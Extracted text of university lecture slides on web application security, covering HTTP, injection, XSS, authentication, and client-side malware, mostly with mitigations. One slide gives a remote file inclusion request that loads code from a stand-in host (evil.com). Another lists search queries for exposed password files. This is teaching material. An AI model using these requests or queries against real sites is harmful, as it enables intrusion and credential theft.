Web Securitywaldenj/classes/2010/fall/csc482/lectures/WebSecurity.pdf · Use username/password on first request. Use session IDs on subsequent queries. CSC 482/582: Computer Security

1

Web Security

CSC 482/582: Computer Security Slide #1


Topics1. Why web application security?

2. HTTP and web input types

3. Web Application Vulnerabilities

4. Client-side Attacks

5. Finding Web Vulnerabilities

Why Web Application Security?


2

Why Web Application Security?



Web Transactions

Web Browser

OS

Web Server

Network


HTTP: HyperText Transfer Protocol

Simple request/respond protocol

Request methods: GET, POST, HEAD, etc.

Protocol versions: 1.0, 1.1

Stateless

Each request independent of previous requests, i.e. request #2 doesn’t know you auth’d in #1.

Applications responsible for handling state.

3


HTTP Request

GET http://www.google.com/ HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*

Accept-Language: en-us,en;q=0.5

Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4

Method URL Protocol Version

Headers

Blank Line

No Data for GET method


HTTP Response

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Server: GWS/2.1

Date: Fri, 13 Oct 2006 03:16:30 GMT

<HTML> ... (page data) ... </HTML>

Protocol Version HTTP Response Code

Headers

Blank

Line

Web Page Data


Different PerspectivesClient Side

• HTTP requests may reveal private info.

• HTTP responses may reveal private info.

• HTTP responses may include malicious code (Java, ActiveX, Javascript)

Server Side

• HTTP requests may contain malicious input.

• HTTP requests may have forged authentication.

• HTTP responses may be intercepted.

4


Web-based Input

Client and Server Perspectives

Types of Input

URL parameters

HTML

Cookies

Javascript

Cross-Site Scripting


URL Format

<proto>://<user>@<host>:<port>/<path>?<qstr>

Whitespace marks end of URL

“@” separates userinfo from host

“?” marks beginning of query string

“&” separates query parameters

%HH represents character with hex values

ex: %20 represents a space

http://username:[email protected]:8001/a%20spaced%20path


URL Parameters Client controls query-string

Cannot limit values to those specified in form

Any character can be URL-encoded

Even if it doesn’t need to be.

Any valid format may be used to disguise true destination of URL

5


URL ObfuscationIP address representations Dotted quad (decimal, octal, hexadecimal)

Hexadecimal without dots (with left padding)

dword (32-bit int)

Examples: www.eecs.utoledo.edu

131.183.19.14 (dotted quad)

0xDEDA83B7130E (hexadecimal + padding)

2209813262 (dword)


HTML Special Characters “<“ begins a tag

“>” ends a tag

some browsers will auto-insert matching “<“

“&” begins a character entity

ex: < represents literal “<“ character

Quotes(‘ and “) used to enclose attribute values


Character Set Encoding Default: ISO-8859-1 (Latin-1)

Char sets dictate which chars are special

UTF-8 allows multiple representations

Force Latin-1 encoding of web page with:

<META http-equiv=“Content-Type” content=“text/html; charset=ISO-8859-1”>

6


Hidden Fields<input type=“hidden” name=“user” value=“james”>

Used to propagate data between HTTP requests since protocol is stateless

Clearly visible in HTML source

Form can be copied, modified to change hidden fields, then used to invoke script


CookiesServer to Client

Content-type: text/html

Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-2004 23:59:00 GMT

Client to Server

Content-type: text/html

Cookie: foo=bar


Web Input SummaryClient Side

• URLs may not lead where they seem to.

• Cookies can be used to track your browsing.

• Pages may include malicious code (Java, ActiveX, Javascript)

Server Side

• Cookies aren’t confidential.

• Hidden fields aren’t secret.

• Client may use own forms.

• URLs can have any format.

• POST data can have any format.

• Cookies can have any format.

7


Web Application Vulnerabilities

Common Vulnerability Types



Injection

Injection attacks trick an application into including unintended commands in the data send to an interpreter.

Interpreters

Interpret strings as commands.

Ex: SQL, shell (cmd.exe, bash), LDAP, XPath

Key Idea Input data from the application is executed as code by

the interpreter.

Discussed in detail in its own lecture.

8

March 4, 2009 SIGCSE

Cross-Site Attacks

Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing.

XSS used to obtain session ID for

Bank site (transfer money to attacker)

Shopping site (buy goods for attacker)

Key ideas

Attacker sends malicious code to server.

Victim’s browser loads code from server and runs it.

Discussed in detail in its own lecture.


Insecure Remote File Inclusion Insecure remote file inclusion vulnerabilities allow an

attack to trick the application into executing code provided by the attacker on another site.

Dynamic code

Includes in PHP, Java, .NET

DTDs for XML documents

Key Idea

Attacker controls pathname for inclusion.


PHP Remote Inclusion FlawA PHP product uses "require" or "include" statements, or equivalent statements, that use attacker-controlled data to identify code or HTML to be directly processed by the PHP interpreter before inclusion in the script.

<?php

// index.php

include('config.php');

include('include.php');

// Script body

?>

<?php //config.php

$server_root = '/my/path';

?>

<?php //include.php

include($server_root . '/someotherfile.php');

?>

GET /include.php?server_root=http://evil.com/command.txt

9


Mitigating Remote File Inclusion1. Turn off remote file inclusion.

2. Do not run code from uploaded files.

3. Do not use user-supplied paths.

4. Validate all paths before loading code.

March 4, 2009 SIGCSE

Authentication Authentication is the process of determining a user’s

identity.

Key Ideas

HTTP is a stateless protocol.

Every request must be authenticated.

Use username/password on first request.

Use session IDs on subsequent queries.


Authentication Attacks Sniffing passwords

Guessing passwords

Identity management attacks

Replay attacks

Session ID fixation

Session ID guessing

10


Identity Management Attacks

Auth requires identity management

User registration

Password changes and resets

Mitigations

Use CAPTCHAs to protect registration.

Don’t use easy to guess secret questions.

Don’t allow attacker to reset e-mail address that new password is sent to.


Session ID GuessingDo session IDs show a pattern?

How does changing username change ID?

How do session IDs change with time?

Brute forcing session IDs

Use program to try 1000s of session IDs.

Mitigating guessing attacks

Use a large key space (128+ bits).

Use a cryptographically random algorithm.


Mitigating Authentication Attacks

Use SSL to prevent sniffing attacks.

Require strong passwords.

Use secure identity management.

Use a secure session ID mechanism.

IDs chosen at random from large space.

Regenerate session IDs with each request.

Expire session IDs in short time.

11


Access Control

Access control determines which users have access to which system resources.

Levels of access control

Site

URL

Function

Function(parameters)

Data


Mitigating Broken Access Control

1. Check every access.

2. Use whitelist model at every layer.

3. Do not rely on client-level access control.

4. Do not rely on security through obscurity.


Improper Error Handling Applications can unintentionally leak information

about configuration, architecture, or sensitive data when handling errors improperly.

Errors can provide too much data

Stack traces

SQL statements

Subsystem errors

User typos, such as passwords.

12


Example of Improper Error HandlingmySQL error with query SELECT COUNT(*) FROM

nucleus_comment as c WHERE c.citem=90: Can't open file: 'nucleus_comment.MYI' (errno: 145)

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/exalt2/public_html/username/nucleus/libs/COMMENTS.php on line 124


Mitigating Improper Error Handling1. Catch all exceptions.

2. Check all error codes.

3. Wrap application with catch-all handler.

4. Send user-friendly message to user.

5. Store details for debugging in log files.

6. Don’t log passwords or other sensitive data.


Insecure Storage Storing sensitive data without encrypting it, or using a

weak encryption algorithm, or using a strong encryption system improperly.

Problems

Not encrypting sensitive data.

Using home grown cryptography.

Insecure use of weak algorithms.

Storing keys in code or unprotected files.

13


Storage Recommendations

Hash algorithms

MD5 and SHA1 look insecure.

Use SHA256.

Encrypting data

Use AES with 128-bit keys.

Key generation

Generate random keys.

Use secure random source.


Mitigating Insecure Storage1. Use well studied public algorithms.

2. Use truly random keys.

3. Store keys in protected files.

4. Review code to ensure that all sensitive data is being encrypted.

5. Check database to ensure that all sensitive data is being encrypted.


Insecure Communication Applications fail to encrypt sensitive data in transit

from client to server and vice-versa.

Need to protect

User authentication and session data.

Sensitive data (CC numbers, SSNs)

Key Idea

Use SSL for all authentication connections.

14


Mitigating Insecure Communication1. Use SSL for all authenticated sessions.

2. Use SSL for all sensitive data.

3. Verify that SSL is used with automated vulnerability scanning tools.


Client-side Attacks Buffer Overflow

2004 iframe

2004-05 jpeg

Remote Code

ActiveX

Flash

Java

Javascript


ActiveXExecutable code downloaded from server

Activated by HTML object tag.

Native code binary format.

Security model

– Digital signature

authentication

– Zone-based access

control

– No control once

execution starts

15


Java Digital signature authentication

Sandbox

Sandbox Components

• Byte-code verifier

• Class loader

• Security manager

Sandbox Limits

• Cannot read/write files.

• Cannot start programs.

• Network access limited

to originating host.


MPack Browser Malware1. User visits site.2. Response contains

iframe.3. Iframe code causes

browser to make request.

4. Request redirected to MPack server.

5. Server identifies OS and browser, sends exploit that will work for client configuration.

6. Exploit causes browser to send request for code.

7. Mpack downloader sent to user, begins d/ling other malware.


MPackCommercial underground PHP software

Sold for $700-1000.

Comes with one year technical support.

Can purchase updated exploits for $50-150.

Infection Techniques Hacking into websites and adding iframes.

Sending HTML mail with iframes.

Typo-squatting domains.

Use GoogleAds to draw traffic.

16


Client Protection Disable ActiveX and Java.

Use NoScript to limit Javascript.

Run browser with least privilege.

Use a browser sandbox: VMWare Virtual Browser Appliance

Protected Mode IE (Windows Vista)

Goto sites directly instead of using links.

Use plain text e-mail instead of HTML.

Patch your browser regularly.

Use a personal firewall.


Web Reconnaissance

Google Hacking

“Index of” +passwd

“Index of” +password.txt

filetype:htaccess user

allinurl:_vti_bin shtml.exe

Web Crawling

wget --mirror http://www.w3.org/ -o /mirror/w3

Santy Worm used Google

to find vulnerable servers.


Proxies and Vulnerability Scanners

Achilles

OWASP Web Scarab

Paros Proxy

SPI Dynamics WebInspect

Web Browser Web Server

Edit Web Data

• URL

• Cookies

• Form Data

Web Proxy

17


Achilles Proxy Screenshot


Key Points All input can be dangerous

URLs, Cookies, Executable content

Consider both client and server security.

SSL is not a panacea

Confidentiality + integrity of data in transit.

Input-based attacks can be delivered via SSL.

Top Vulnerabilities

Cross-Site Scripting

SQL Injection

Remote File Inclusion

References1. Andreu, Professional Penetration Testing for Web Applications,

Wrox, 2006.2. Daswaniet. al., Foundations of Security, Apress, 2007.3. Friedl, SQL Injection Attacks by Example,

http://unixwiz.net/techtips/sql-injection.html, 2007.4. IBM, IBM X-Force 2010 Mid-Year Trend and Risk Report,

http://www-935.ibm.com/services/us/iss/xforce/trendreports/, 2010.

5. OWASP, OWASP Top 10 for 2010, http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

6. Neils Provoset. al., “The Ghost in the Browser: Analysis of Web-based Malware,” Hotbots 07, http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf, 2007.

7. Samy, “MySpace Worm Explanation,” http://namb.la/popular/tech.html, 2005.

8. Joel Scambray, Mike Shema, Caleb Sima, Hacking Exposed Web Applications, Second Edition, McGraw-Hill, 2006.

9. Stuttartand Pinto, The Web Application Hacker’s Handbook, Wiley, 2007.


http://unixwiz.net/techtips/sql-injection.html




http://www-935.ibm.com/services/us/iss/xforce/trendreports/




http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf

http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf

http://namb.la/popular/tech.html

Documents

Web Securitywaldenj/classes/2010/fall/csc482/lectures/WebSecurity.pdf · Use username/password on first request. Use session IDs on subsequent queries. CSC 482/582: Computer Security